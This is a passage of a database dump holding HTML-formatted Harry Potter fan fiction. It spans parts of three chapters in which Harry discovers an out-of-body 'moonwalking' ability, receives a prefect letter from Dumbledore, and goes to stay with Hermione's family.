paced back and forth a little, patiently awaiting the arrival of an angel or a demon to take him to his final resting place or, even, the proverbial bright white light.</p>\n<p>That idea quickly went out the window when he noticed something about his body on the bed. <i>Hey! Wait a minute&#8230; I can see myself breathing &#8212; this is too strange &#8212;, if I&#8217;m breathing and that is me, then I&#8217;m just dreaming&#8230; or something like that. Maybe I should try to wake up.</i> </p>\n<p>As soon as that thought passed Harry&#8217;s mind, he felt himself bolt up on his bed. He immediately jumped straight out of it and stared at it as if it had just tried to pinch his bottom. He felt the need to take a few deep and soothing breaths. Finally, after about half an hour, his heart rate seemed to be back to normal.</p>\n<p>Harry was pacing around his bed, careful not to make too much noise. He needed to know exactly what was happening. Telling Ron or Hermione was out of the question since they would just try to get him to warn Dumbledore or Sirius, and he did not want Sirius to worry about him or do something that might lead to his capture. Hermione and they had been worrying about him enough as it was, he did not want to be a nuisance to them. </p>\n<p>Harry decided that he&#8217;d better try to sleep again in an attempt to take Sirius off his mind. <i>Maybe it won\'t happen again</i>&#8230;, thought Harry foolishly. He was certain that what he was doing could kill him. He had been able to bring himself out of it the last time by trying to wake himself up, but there really was no guarantee that he would be able to get out this time. What if something other than himself had gotten him out of that state? What if the next time he could not do it? What if he was trapped, and people, thinking he was dead, would bury him?</p>\n<p>Harry, however, was curious. As his thoughts drifted back and forth between his friends and his own parents, he slowly succumbed to sleep.</p>\n<p>Only three minutes passed before he found himself back in the same situation as earlier. Though he briefly panicked, he quickly recovered and attempted to wake up, like he had done before, to escape his dream-like state. When he found himself tangled in his blanket, it felt like only an instant had passed.</p>\n<p>From his past two experiences, Harry assumed that exploring whatever it was he was doing wouldn&#8217;t be of any harm. He actually started having fun going to sleep and waking up, staring at himself as if it were a mirrored reflection, his already messy hair even more messed up with sweat, and his face with a very slight smile. He stared at himself for a long while, every second expecting his body to take a life of its own and scare the hell out him, which, fortunately, it didn&#8217;t.</p>\n<i><p>I can really see myself as others see me. I have a reasonable face, a toned body, but very few muscles, bright green eyes &#8212; which I can\'t see \'cause they&#8217;re closed&#8230;</p>\n</i><p>Harry gasped at his thoughts. He couldn&#8217;t get over himself. <i>Keep it up, Harry, and you\'ll be a regular Lockhart in no time!,</i> he scolded himself &#8212;amusement laced his voice. He decided that since it was almost morning, he might as well experiment some more before the slave drivers woke up.</p>\n<p>Experiment, he did. And he did it for three days straight. Though he knew he was overdoing it, the fun of whatever it was, was too incredible for him to stop. Harry had no idea how he was doing it, but he had learned it to be safe since all he had to do was think about waking up and he would.</p>\n<p>On the first day, he had not tried to leave his room and instead had opted to explore it &#8212; though later he would find out that it might have had been impossible for him to actually leave the room then anyway.</p>\n<p>At first, it was hard to touch things. Harry would feel excruciating pain somewhat close to that of the Cruciatus curse, for touching &#8212; maybe it should be referred to as attempting to touch, since he passed right through objects &#8212; objects that were either metallic or of magical nature. The non-magical or non-metallic objects felt like mere pricks of needles, although such pain was constant as well. Six hours of extensive experimentation and the pain subsided to that of a pencil being stabbed into his arm for both magical and metallic objects, while the stinging for other things totally disappeared.</p>\n<p>His biggest challenge was passing through the closet door. Harry&#8217;s mind was racing faster than it ever had. He realized that this power or ability that he possessed would come in handy as a reconnaissance tool. Having the ability to walk though walls should certainly prove useful. </p>\n<p>The pain almost made him feel like he was going to black out &#8212; but Harry quickly realized the irony in that statement.</p>\n<i><p>How can anyone pass out in his sleep? </p>\n</i><p>Harry quickly stopped trying to get into the closet. He had a weird feeling that if he actually passed out there, while he was still in this dream-like state, he might end up dying. At this point Harry looked at the clock on his bed table, which read 2:02 p.m. Vernon had left food near the door but Harry was not hungry at all.</p>\n<p>Harry dedicated most of the eight next hours, slowly building up his level of pain tolerance by gradually putting more of his body through the door. When he finally did pass it, he suddenly realized that the further he got from his real body, the harder it was to get through things.</p>\n<p>Harry had always loved to seek his limits: to see what he could, and couldn&#8217;t do. New things always strike him as intriguing. He knew that this power would probably be of no use to him, if he was not able to use it properly and to its fullest extent. Harry toyed with the idea to see if he was able to leave the room thinking of his newly gained talent. He wondered if it actually was possible to leave the room. If he couldn&#8217;t leave the room, what good would it serve?</p>\n<p>The pain that Harry experienced when he tried to get through the door was actually ten times higher. At first, Harry attributed this to the fact that, for some reason, the door to his room was much thicker than the closet door &#8212; it would not be until later that Harry realized that with practice, the pain could almost become bearable. </p>\n<p>As he left the room, he could feel the pain approaching again. A hour and a half were required for Harry to figure out that the fastest way to advance from the room was to take two step forward, and one back, rest, and then repeat the process.</p>\n<p>Eventually, after two days of experimenting, Harry thought up of a name to qualify what he was doing. He did not have any idea what it was called in reality &#8212; or if it had a name for that matter &#8212;, but he wanted to have something short to call it. He chose &quot;Moon Walking&quot; because of the fact that he still had to take a few steps forwards and then back a few. Harry imagined that he looked much like the Muggle dancer he had seen on television and, for some reason, he remembered the name of the awkward dance.</p>\n<p>Harry had deprived himself from food and water during this time. His uncle had been slipping meals under the door, but Harry was not interested. It seemed like his body was working off energy reserves that he knew not of. Once he did realize that he did not need food yet, Harry tried his best not to snap himself out of the Moon Walking phase. He wanted to see how long Harry would last. Information, he thought would be very useful, if he was able to survive.</p>\n<p>At the end of the second day, Harry discovered something quite new. It happened when he was &quot;Moon Walking&quot; and had stumbled into Dudley\'s room. Harry could see bubbles above Dudley\'s head &#8212; like those in Ron&#8217;s or Dudley&#8217;s comic books &#8212; as he slept. When Harry entered the room, the white bubble was empty but soon it started to show Dudley\'s dreams.</p>\n<p>Dudley was dreaming that he was on the beach, with several extremely beautiful women, wearing bikinis so small that Harry thought it might have been more decent to not wear anything at all. Suddenly a woman appeared out of thin air and gave Dudley a basket full of hamburgers and a kiss right on the mouth. </p>\n<p>Harry did not know what to do first &#8212; spill his guts out on the floor in revulsion or laugh his head off.</p>\n<i></i><p><i>Oh&#8230; I have to tell Ron about this&#8230;</i>, he thought, before remembering how Ron had reacted the year before. Ron had refused to believe Harry point blank that he had not entered his name into the goblet. Accusing Harry of lying to him when in his whole life Harry had never told Ron anything that was not true. He had said nothing, if he had not asked for it, but he had never lied or bent the truth to suit himself. </p>\n<p>Because of Ron&#8217;s belief that Harry was lying, when all the evidence in his opinion pointed at someone framing him, Harry was afraid Ron would abandon him again. It had been bad enough the first time around, and Harry was not going to do anything to let that happen again. He would hide it from Ron, if need be, but he was not going to let a bit of magic come between him and his friend. </p>\n<p>But what Harry was more worried about was how Hermione would react. He was very sure that Hermione would not be jealous of him but she could go on for a long time telling him all about the implications of his unethical practices, such as seeing Dudley\'s dream, even if it had been unintentional. Harry quickly left the room before he witnessed something he did not want to. He had no intention of invading other people\'s privacy, even if they were the ones who tried to make his entire life as miserable as possible.</p>\n<p>Harry was so lost in his thoughts that he did not notice that he had kept walking after he had went through the door out of his room. It seemed that he had easily become habituated to the pattern of going back and forth. It had become second nature to him. It was not long before he was past the entrance door to the house, and was rapidly approaching the end of the driveway. Before Harry could react to his accomplishment, a thick pink barrier went up all around the Dursleys&#8217; residence, trapping Harry within it.</p>\n<p>The barrier was largely invisible, but it had a slight pink colouring to it that that could only be seen as the barrier got closer to Harry. Harry saw it as clearly being pink because he was inside the barrier and therefore he was seeing the active part of the shield. Millions of small, but powerful, sparks of pink energy came rushing towards him, as the barrier held him in place &#8211; refusing to let go. As soon as they touched Harry, they would discharge leaving Harry to scream in pain as shots of pure energy wracked at his nervous system. This led to something even worse. The energy bolts would seek out his open mouth in an attempt to discharge there. Like it already tried to do in other orifices. The pain that surged through his body was excruciating and it felt like nothing he had experienced before. The unforgivable Cruciatus curse paled in comparison. His vision started to get blurry very fast and all he could see were large blocks of colours that were diminishing in brightness. His hearing was slowly becoming weaker and then suddenly both his vision and hearing stopped.</p>\n<p>As a Muggle female jogger passed right by Harry, admiring the expensive looking house that Harry was a resident in, Harry&#8217;s last thoughts were, <i>Oh no! I can just see the headlines now! &#8216;The great Harry Potter died in his sleep!&#8217;</i> </p>\n<p>&nbsp;</p>\n<b></b><p><b>Thank you section: </b>My previous beta&#8217;s and people that helped me along the way of writing the story: Molley O&#8217;Riley, James, Maginker, Twelve Eyes, Jaime, Jeremie, Constantine, Victoria, Yumi, Mia, Armand and more. I am sorry, I can&#8217;t recall them all off the top of my head. Thanks to the readers as well. :)</p>\n\n\n'),
	(13, 2, '\n\n\n\n<b></b><p><b>Title:</b> &quot;Harry Potter and Septanic Dueling&quot; ( 2/? )<br>\n<b>Author name: </b>NAPPA<br>\n<b>Author email:</b> imran_webjump@hotmail.com<br>\n<b>Category:</b> Action/Adventure, Humor, and Romance<br>\n<b>Keywords: </b>H/H, 5th year, Dueling, Animagi<br>\n<b>Spoilers:</b> All books<br>\n<b>Rating:</b> PG13</p>\n<b></b><p><b>Summary:<br>\n</b>The summer after his fourth year, Harry discovers that he has a cool new power. Since the Dursley&#8217;s leave on a vacation, he ends up staying with Hermione&#8217;s family. That&#8217;s not all... What happens when Hermione&#8217;s family decides to take the vacation they wanted to go on? Deatheaters, Dueling tournaments, fighting in the deserts of Morocco, war, peace, treaty and mysteries all come into play. See how Hermione changes and witness Ron&#8217;s ever increasing insensitivity and jealousy.</p>\n<b></b><p><b>Disclaimer:<br>\n</b>This story is based on characters and situations created and owned by J.K. Rowling, various publishers include but are not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.</p>\n<b><p>&nbsp;</p>\n</b><p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><p>&nbsp;</p>\n<p>&nbsp;</p>\n</b><p align="CENTER"><b>Chapter Number:</b> 02<br>\n<b>Chapter Name:</b> What to do with Harry?</p>\n<p>Vernon Dursley had just checked the money news for the third time today. His company&#8217;s share had jumped five times over the past few days as the company was supposed to expand operations into Japan and nothing was going to ruin his good mood. He was so happy, that when his nephew finally left his room, Vernon did not give him any chores or even try to rile him.</p>\n<p>Vernon was so busy pondering how to use the money, that he did not even notice when his nephew bumped into him.</p>\n<p>Harry had been moonwalking for the last two and a half days straight and during that time he had almost nothing to eat. He felt that this explained why he was unable to stand up to the pain or try to get out of the barrier. A loud grumbling noise coming from his stomach that was evidently strong enough to frighten Hedwig confirmed his suspicions. </p>\n<p>Harry barely made it to the food that had been piling up for three days and quickly finished all of it, leaving the plates almost clean. The meatloaf was terrible, but for the sake of the vitamins and nutrients that his body craved, he forced it down his throat.</p>\n<p>When Vernon announced that the whole family was going to Hawaii, Harry was excited. After all Uncle Vernon did say the whole family was going. Now being the twisted and cruel person that Vernon Dursley was it shouldn&#8217;t have come as a surprise that Harry was going to be left behind. But Vernon did not want to leave the &quot;freak&quot; alone in the house, fearing on his return he would find a smoldering pile of ash. This fear was not totally unfounded, as accidents seem to constantly happen all around Harry.<br>\n<br>\nVernon gave Harry three days to arrange to stay somewhere with one of his friends; otherwise they were going to kick him onto the street. Harry, logically, decided that this was a good time as any to write to his friends and to Sirius. He ran to his room, taking his dinner with him, which tonight was a large piece of cucumber and a carrot. Harry quickly went into his room and took out his writing equipment. He decided to write to Hagrid first.</p>\n<b><i></i></b><i></i><p><i><b>Dear Hagrid, </b><br>\nI know I\'m not supposed to know what you\'re doing, but I think I have an idea. I hope you are well and in good health. I hope &quot;they\'re&quot; not as bad as people say. How\'s Madam Maxime? I hope you two are getting along well. Tell me everything when I\'m back at Hogwarts, since it&#8217;s too dangerous to owl me.<br>\n<b>Harry</b><br>\n</i><br>\nHarry finally decided that he wanted to write to Sirius, but he planned to conveniently forget about his three days of adventure when writing the letter. </p>\n<b><i></i></b><i><p><b>Dear Snuffles,</b><br>\nHow are you? I\'ll be short. I miss you and hope to see you soon. After Lord Voldemort returned, I would have thought there would be a whole bunch of muggles missing or dead, but there has been nothing like that on the muggle news.</p>\n<p>I haven&#8217;t got anything from Ron, so I&#8217;m guessing that nothing is happening in the wizarding world. Do you think he is just biding his time and getting stronger or do you think he is up to something... something big? Well, the Dursleys are kicking me out of the house since they are going to Hawaii, Don\'t worry this is a blessing in disguise. I\'m --- wait a letter just showed up &#8211; I&#8217;ll be right back....</p>\n</i><p>Harry was surprised to see that a regal looking post owl, which clearly belonged to Hogwarts, swooped down and dropped a letter. It was from Professor Dumbledore.</p>\n<b></b><p><b>HOGWARTS SCHOOL OF WITCHCRAFT AND WIZARDRY</b><br>\nHeadmaster: Albus Dumbledore <br>\n(Order of Merlin, First Class, Grand Sorc. Chf. Warlock, <br>\nSupreme Mugwump, International Confed. of Wizards)</p>\n<b><i></i></b><i></i><p><i><b>Dear Mr. Potter</b>, </i><br>\n<i><br>\nI take great pleasure in announcing the fact that you\'ve been chosen to be one of the two prefects from your house. As you might know, each year two fifth year students from each house chosen to be prefects. The other person from your year is none other than your friend Ms. Granger. This should not come as a surprise to anyone in light of her academic achievements.<br>\n<br>\n(* Can&#8217;t argue there...*,<br>\nthought Harry) </i></p><i>\n<p>You, however, were chosen because of the astounding amount of courage that you have shown over the course of the last four years. Please know that this is a serious commitment and it is your duty to accept it. Punishments for not following the rules as a Prefect are a lot more severe than they are for other students. So you have been warned.<br>\n<br>\nI recently became aware of the fact that, due to unforeseen circumstances, you can no longer live with your muggle relatives for rest of the summer. I know you would prefer to go to the Burrow, but I do not think it is wise for you to go there, as the Muggle community would be safer for you. Therefore, I have taken the liberty to talk to Ms. Granger&#8217;s parents and they have agreed to take you in for rest of the summer.</p>\n<p>(* I only found out today...<br>\nHow did he know? *, thought Harry.)<br>\n<br>\nIf you would like to stay with another Muggle family, please owl me with their address and telephone number so that I may arrange it. Otherwise the Grangers will be there to pick you up on Sunday evening. Your school supplies and a list of your books have already been bought for you by Mr. &amp; Mrs. Granger due to the circumstances and the money has been paid out of your vault. Please be ready to leave your house on Sunday evening.</p>\n</i><p><i>I hope you enjoy your holiday.</i><br>\n<br>\n<i>Yours truly,<br>\n<b>Professor A. Dumbledore</b></i><br>\nHeadmaster: Albus Dumbledore<br>\n(Order of Merlin, First Class, Grand Sorc. Chf. Warlock,<br>\nSupreme Mugwump, International Confed. of Wizards)</p>\n<p><br>\nPs: (P.S.) I did not tell Ms. Granger that you are a prefect as well. I will let you tell her.<br>\n<br>\n* Wow, a whole summer with the Grangers *, thought an amazed Harry.<br>\n<br>\nHarry did not know very much about Hermione\'s parents other than that they were both dentists. All the times that he had had the pleasure of seeing them, he was surprised to see how kind and generous they were. But it should not have been such a surprise for him, since Hermione was like that all the time. Harry rushed to finish the letter to Sirius Black. </p>\n<p><br>\n<i>-- I\'m back. It was a letter from Dumbledore. He told me that I could live with my friends till the start of the term. I know you are doing something for Professor Dumbledore, so I&#8217;ll tell you this one time. When my birthday comes, I DO NOT want anything from you other that you being safe.</i></p><i>\n<p>Please be careful<br>\n<br>\nYour godson<br>\n<b>Harry</b></p><b>\n</b></i><p><br>\nHe then decided to write to his two best friends. The first letter he decided to write was to Ron Weasley, his best friend.<br>\n<br>\n<b><i>Dear Ron,</i></b><i><br>\nHope you are ok. I\'m all right and I have not had a scar hurting dream in the short time that I have been here. Did you know I\'m a prefect..? Me... The person who probably broke all the rules in the school. Oh yeah, Hermione is one too. <br>\n<br>\nAnd before you ask me anything about Hermione, I\'ll tell you something. I don\'t know where she might go but since I\'m staying with the Grangers it\'s unlikely that she is going to Bulgaria. That ought to make you happy.<br>\n<br>\nRon, if you like her, you have to tell her. If you keep acting the way you did last year, you will damage your friendship with her. You&#8217;re really lucky that she is even talking to you after the way you acted towards her.</i></p><i>\n</i><p><i>Your friend<br>\n<b>Harry</b><br>\n</i><br>\nHarry reread the letter. He wondered whether or not to tell Ron about his moonwalking but decided that he would tell him and Hermione when he met them in person and, depending on Ron&#8217;s attitude at the time. Harry went to his desk and took out some more parchment from his bottom drawer and began to write a letter to Hermione.<br>\n<br>\n<b><i>Dear Hermione,</i></b><i><br>\n<br>\nHope you are ok. I\'m fine and before you ask I have not had a scar hurting dream in the short time that I have been here. Anyway, congratulations. I hear a certain bushy haired girl with brown eyes is going to be the fifth year prefect. I hope you know how proud Ron and I are of you. Hey, do you know who the other one is? Well, I do!! <br>\n<br>\nHe has messy black hair, bright green eyes, and a lightning shaped scar on his head. Give up?</i></p><i>\n<p>It\'s me! Your hard work and study finally paid off. But on the other hand with mediocre marks and a reckless disregard for rules I&#8217;m also a prefect. Now this has got to be funny. I have something important to talk to you about, when I get to your place. We\'ll talk more then. Bye.</p>\n</i><p><i>Your friend<br>\n<b>Harry</b></i><br>\n<br>\nHarry quickly tied the letters to Hedwig, and she took off quickly but gracefully into the gentle wind. Now that the world around Harry was back on track, Harry decided to go back and experiment a little more. It was four o\'clock and there were still quite a few hours before he had to get his stuff ready. As Harry tried to force himself to go to sleep, his thoughts kept turning to the third task and its aftermath. This only made him stay awake longer. When slumber finally arrived at his doorstep he welcomed it fully. <br>\n<br>\nHarry was determined to get better at moonwalking. He had to defeat Voldermort, otherwise his friends would always be in danger. Harry knew he had to become familiar with anything that he might be able to use as a weapon against Voldemort and his forces of evil. </p>\n<p>As Harry passed through his door and the front door, he did not even feel a sting. He was pleased with himself for improving so much. When he approached the end of the driveway flashes of the pain that he suffered came rushing to his mind. <br>\n<br>\nHarry suddenly felt weak and dropped to his knees. He tried to block the pain and after some time the pain was gone as quickly as it came before. Harry felt a new wave of strength wash over him. He finally understood that pain builds strength, to do what\'s necessary next time.<br>\n<br>\nHarry was now very close to where he thought the barrier was. He gently lifted up his arm and tried to reach into the barrier. As soon as his index finger touched the invisible barrier, he could see the pink bolts of energy rush towards him. Though the pink energy bolts did not hurt him as much as they had done the first time he had tried it, he could still feel the sting.<br>\n<br>\nAfter about four hours of just touching and then letting go of the barrier to increase his pain threshold Harry thought that he was strong enough to walk straight into the barrier. Surprisingly, there was still pain but only as much as the first time he had experienced the crucio curse.<br>\n<br>\nAs he stood there, glowing pink with all the energy bolts that were dashing all over his face and body, Harry realized that the pain was subsiding. By lunchtime next day he had managed to completely pass through the barrier without any significant pain. Harry didn&#8217;t go any further than just outside the shield. He didn&#8217;t know why but something told him it wasn&#8217;t safe to go any further than he was.<br>\n<br>\nHarry was beaming at himself. <br>\n<br>\n* I think they can see me from space right now *, thought Harry as he was thinking about how happy he was. * Well, I better get ready. Uncle Vernon and the rest of the family is leaving tomorrow and I\'m leaving in about four hours *, thought Harry.</p>\n<p>As he considered entering the house, Harry wanted to try and see if he was now good enough to wake up without being in the same room as his body. He tried his hardest but gave up when he wasn&#8217;t able to do it. So he decided to go take a shower.<br>\n<br>\nAfter he re-entered his body, Harry went down to tell the Dursleys that he was leaving in the afternoon. Uncle Vernon and Aunt Petunia were mauling over Hawaii brochures and did not even ask how his friends were coming. Harry was surprised, but he didn\'t say anything. As he was leaving the kitchen, Harry took out a small packet of juice that his Aunt Petunia had left in the freezer and went back to his room for a shower and to get his things organized.<br>\n<br>\nThe Dursleys, along with Harry, were awaiting the arrival of Mr. &amp; Mrs. Granger and their daughter in the living room when a very shinny looking BMW pulled into the driveway. <br>\n<br>\nAunt Petunia\'s eyes were as big as saucers when she saw the car. She had no idea that the daughter of such a wealthy couple could be a freak like her nephew. Harry rushed to open the door and got the surprise of his life when he saw Hermione.</p>\n<p align="CENTER">&lt;&lt;~~~&gt;&gt;</p>\n<p align="CENTER">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p><b>\n</b>\n\n'),
	(13, 3, '\n\n\n\n<b></b><p align="CENTER"><b>Chapter Number:</b> 03<br>\n<b>Chapter Name:</b> Summer at the Granger&#8217;s</p>\n<p>Harry had one glance at Hermione before she practically threw herself on top of him and in the process almost knocked him over. He quickly grabbed the doorframe to stabilize himself. The longer she hugged him the harder it was getting for him to hold on to the frame.</p>\n<p>&nbsp;</p>\n<p>Harry had noticed in the split second before this, that she had cut her hair very short and now her bushy hair looked more manageable, even without any sleek-ezy potion that she had used during Yule ball.</p>\n<p>&nbsp;</p>\n<p>Harry never told anyone before but he liked her bushy hair more than the one she wore to the Yule ball &#8211; though that hairstyle did make him notice. He was sure more of it was from shock &#8211; since he thought her bushy mane made her look unique. But this new style suited Hermione better. At the end he really didn&#8217;t mind any hair cut &#8211; this was Hermione.</p>\n<p> </p>\n<p>She was wearing a bright pale yellow summer dress with light orange flower patterns all over it. Hermione looked quite stunning and Harry was lost for word. Though the reasons might not have been all just how she looked. &#8216;<i>Might be the light on the dress rather than the dress&#8217; </i>Harry thought about the way light had assaulted his eyes off the bright yellow dress. </p>\n<p>&quot; You ready?&quot; she asked very enthusiastically.</p>\n<p>&quot; Yes. Just need to get my trunk.&quot;</p>\n<p>&quot; Need any help?&quot; she asked sounding hopeful.</p>\n<p>Harry wasn&#8217;t sure if he wanted Hermione in the house. He was too afraid that Hermione would speak her mind to the Dursleys. The last thing Harry wanted was to be locked in a closet in Hawaii. It would be far worse than being locked in Private Drive where he knew fun didn&#8217;t exist &#8211; then to end up in Hawaii, but not being able to get out of the cupboard.   </p>\n<p>&quot; Yeah...er..&quot; He said feeling impending doom. &quot; Could you get Hedwig\'s cage from my room?&quot; When Hermione nodded, Harry continued speaking. &quot; It\'s the first one to the left.&quot;</p>\n<p>&nbsp;</p>\n<p>Harry could feel his heart sinking. He could also feel that his hair was still wet from the shower. Standing there in a t-shirt that Dudley had outgrown several years ago, Harry felt his hear sink, as Hermione quickly brushed past him and into the house. </p>\n<p>&nbsp;</p>\n<p>Harry lifted up the trunk and headed for the car, so he didn&#8217;t see Hermione give him a long sour look. She was coming out of the house with Hedwig&#8217;s cage, when she noticed how tall Harry looked. Not much more than a few inches &#8211; &#8216;<i>maybe two&#8217;. </i>When Harry put the trunk in  the car, Harry\'s sleeve rolled up just enough to show traces of a new scar on his right arm. It was that, which had caused her to give him a sour look. Harry didn&#8217;t tell her about it.</p>\n<p>&nbsp;</p>\n<p>* I have to be strong for him * thought Hermione as she buckled herself up in the back &#8211; knowing that the new scar was the product of something that he hadn&#8217;t explained to his friends about. Namely the events of that fateful day that Cedric died.</p>\n<p> </p>\n<p>The car trip was short. It came to Harry as a surprise to find out that the Granger\'s actually lived very close. In the car it took only seven and a half minutes in medium traffic &#8211; something a watch-less Harry measured without any aid but his new found abilities. Harry had recently discovered that he could keep accurate time in his head though he experienced loss of time between going to sleep and starting &quot;moonwalking&quot;, as well as trying to wake up and actually waking up. It was a result of his &quot;moonwalking&quot; or at least he thought it was. </p>\n<p>&nbsp;</p>\n<p>Hermione\'s parents though they had a lot of money, lived in a medium sized house with four bedrooms in a modest little neighborhood. The only thing of real expense was the car and even that was hidden inside the garage when it was not on the road. The house was of modern construction like all the other houses on the street. Thought Harry wasn&#8217;t sure as to how accurate he was.</p>\n<p> </p>\n<p>The inside of the house consisted of one master, one for Hermione and two guestrooms &#8211; each bigger than his room back &quot;home&quot;. Hermione showed Harry into his room, which was across the one from the Master Bedroom. Harry did not understand why they put him in there, when there was another room near Hermione\'s, which happen to be very empty. But he did not want to say anything, since he was sure he was burdening them enough as it was. </p>\n<p>&nbsp;</p>\n<p>Harry&#8217;s new room didn\'t really have anything much in it other than a desk and a an empty shelf. Before long Harry would find out that each of the room in the house had a shelf, filled to various capacities. The family really loved books. </p>\n<p>&nbsp;</p>\n<p>Hermione put down Hedwig\'s cage in corner of the room, near the window and sat down on the single bed on the other side of the small room. She watched quietly as Harry went back and forth bringing his things into the house from the car. Harry did not notice it, but Hermione\'s parents did. When Harry brought in the last of his items in, they followed Harry into the room and Hermione\'s mom sat down beside her daughter.</p>\n<p>&nbsp;</p>\n<p>Harry was quietly working away not knowing that Hermione\'s parents were right behind him, watching him like a pair of hawks. So when he turned around to tell Hermione she had a very nice place to live and he was done all unpacking, he found himself looking straight into Paul Granger eyes. </p>\n<p>&nbsp;</p>\n<p>His mouth dried up in a second and he was suddenly more afraid of him at that moment than VOLDEMORT at the end of his first year. Harry opened his mouth to say something but then thought better of it and closed it very soon after.</p>\n<p>&nbsp;</p>\n<p>&quot;We need to have a talk.&quot; Paul motions Harry to pull up the only chair in the room.</p>\n<p>&quot; ...err... What about Mr. Granger?&quot; asked Harry in a squeaky voice.</p>\n<p>&nbsp;</p>\n<p>He couldn\'t see it but Hermione\'s mom had a small smile as she realized her husband had just scared the living daylights out of the poor boy. She was sure her husband was very pleased with himself to have had done it to Harry.</p>\n<p>&nbsp;</p>\n<p>&quot; I\'m letting you stay with us the whole summer.&quot; He said in a professional business like manner of a dentist &#8211; right before they pull out your teeth. &quot; That means for the duration of your visit you are a member of this family. We all do house chores in this family and since you are here you are no exception.&quot; Harry thought that was more than fai, and was going to nodd, but Mr. Granger wasn&#8217;t done. &quot; I\'ll consider you a son. That means HERMIONE IS YOUR SISTER. You do not make a move on my daughter... You do not er..&quot; unsure of what he should say next he used something from his own memory, &quot;...err... No Hanky Panky. Understood. GOOD&quot;</p>\n<p>&nbsp;</p>\n<p>He turned and left the room with his wife by his side. If Paul had looked back after he had left, he would have seen a very confused Harry maul over what had just been told to him. Had Paul Granger been slower in saying what he had said, Harry would not have been confused... well just not as confused as he was at that point. It would also have had given Harry an opportunity to ask what he was talking about.</p>\n<p>&nbsp;</p>\n<p>When the implication of what he had been told finally hit him, after several moments, which he spent blankly looking at the door, he was blushing all the shades of red in the wizarding world. Hermione couldn\'t help but smile at his embarrassment. She was used to her overprotective father, but Harry was clearly shaken by the experience. She moved closer to him on the bed before speaking. &quot; Don\'t worry.&quot; She said in her most reassuring voice. &quot; That\'s just the way my father is. He\'s... well a bit over protective of me. I told him, our relationship is just friends,&quot; Harry could tell Hermione meant a hundred folds what she said, &quot;&#8230; but they wouldn\'t take my word for it. Err... Harry?&quot; said Hermione before realizing Harry was not really paying any attention.</p>\n<p>&quot; Yeah.&quot;</p>\n<p>&quot; Did you hear what I said?&quot;</p>\n<p>&quot; Yeah...&quot; replied Harry as he snapped out of whatever he was thinking.</p>\n<p>&quot; Well???&quot;</p>\n<p>&quot; Well... What?&quot; Harry tried his best not to snap but he saw the hurt look on her face and realized that he had not tried hard enough. </p>\n<p>&quot; I\'m sorry... I\'m really sorry&quot;.</p>\n<p>A look of pure anguish passed his face before, Hermione returned to normal. She hugged Harry so hard that he had a hard time breathing. When she let go she said, &quot; It\'s OK. I was just thinking about what you went through last year.&quot; Harry looked slightly relieved, but not by much. &quot; I wanted to know what you wanted to show me when you got here.&quot;</p>\n<p>&nbsp;</p>\n<p>Hermione inwardly hoped it would be an explanation to why he hadn&#8217;t told her about his new scar or the events of the day of the third task. &quot; Oh... that. Why didn\'t you just say that?&quot; Harry smirked, clearly excited about topic.</p>\n<p>&quot; Well, I\'m bursting with excitement here...&quot; before Hermione could finish her sentence she was interrupted by Harry.</p>\n<p>&quot; Well it all started...&quot;</p>\n<p>With that Harry told her the entire story &#8211; not the one Hermione thought he would, or hoped he would. It was the story of how he learned of his new and exciting ability. How he had had the nightmares all night, then went to investigate the light, seeing advertises (carefully missing out the part about the softporn flick on TV)... how he thought he could never have friends if he did not do something about VOLD-you-know-who, how he thought he was dead, his exploration, then somehow without meaning to the part about seeing Dudley\'s dream came out of his mouth.</p>\n<p>&nbsp;</p>\n<p>As soon as he said it, Harry cringed at the though that Hermione was probably going to give him a lecture, about how wrong it was of him to peek into someone else&#8217;s subconscious &#8211; even if unintentionally. But to his surprise, he found himself looking at a girl who had fallen off the bed and rolling on the floor with hysterical laughter.</p>\n<p>At the loud noises, Paul and his wife rushed to the room. When they saw Hermione try to get off the floor while holding her sides in a last ditch attempt to stop laughing, they let them be even though they did not know what had caused their daughter to act in such a manner. Mrs. Granger thought it was nice to see Hermione having fun for a change. She always thought Hermione read a lot more than she should and not have enough fun.</p>\n<p>&nbsp;</p>\n<p>When Hermione finally stopped laughing, she saw Harry look at her as though she was mad. She considered that herself. Normally she would be giving Harry a lecture but the story was so funny she could not her herself. Then she had a terrible idea. &quot; You\'re not gonna try to read my dreams though are you&quot;</p>\n<p>&quot; I knew you would ask that. If I wanted to do that I would have to go into your room and I\'m not going into your room without your permission first... Besides I tried to see what Hedwig was thinking in her sleep, I saw nothing. I saw a stray cat dreaming about fish. So my guess is I can\'t see Magic things\' dream.&quot; He paused then teased. &quot; If you don&#8217;t trust me, then I can &#8230;&quot;</p>\n<p>&quot; Harry Potter!&quot; Hermione said looking particularly furious at his suggestion of her not trusting him. &quot; How dar you suggest something like that! I do trust you.&quot;</p>\n<p>&quot; No. I didn&#8217;t mean it like that Hermione&#8230;&quot; he started to say, wildly shaking his head and body to convince her. It was then that he saw Hermione&#8217;s mouth curve up into a small smile. It hit him like a ton of bricks that Hermione had just teased him into acting sillyly for her pleasure. </p>\n<p>&quot; You sly wench&#8230;&quot; Harry leaped on the bed and picked up one of the two pillows and started to pummel it on her. Hermione took the other pillow and gave back as good as she got &#8211; and considering how late she really got started, she gave back more than her fair share. After a long time and a lot of feathers still in the air, Hermione and Harry laughing and smiling talked about something that came to Hermione&#8217;s mind. </p>\n<p>&nbsp;</p>\n<p>&quot; You know, &quot; Hermione said, &quot; The way you say you&#8217;re getting better at managing pain &#8211; you suppose, if you-know-who tried to use Cruciatus curse on you &#8211; it won&#8217;t hurt as much?&quot;</p>\n<p>&quot; You might be right. But I think VOL- &quot; Harry paused and corrected himself &quot;...you-know-who was still weak from his rebirth when he did the curse on me, so I probably was lucky. That\'s why I want to get strong...&quot; All the traces of mirth left for a while. &quot; You think you can help me?&quot;</p>\n<p>&nbsp;</p>\n<p>&quot; Help you to do what??&quot; Hermione asked. Then getting the meaning of what he was asking she continued &quot;..err... You mean me teach you?&quot; with a hint of amusement in her voice.</p>\n<p>* Harry Potter, the boy who lived... finally wants to do something other than ride on a broom all day* thought Hermione *... but then again seeing the murderer of your parents coming back to life is bound to change a person...*</p>\n<p>&quot;OK then.&quot; Harry said a note of thanks to Merlin for Hermione in his mind. &quot; I will.&quot; But then when Hermione said, &quot; But there\'re two conditions&quot;, he was almost afraid to ask. &quot; What?&quot;</p>\n<p>Harry knew Hermione would help him no matter what... so this was probably something that she needed help with but was 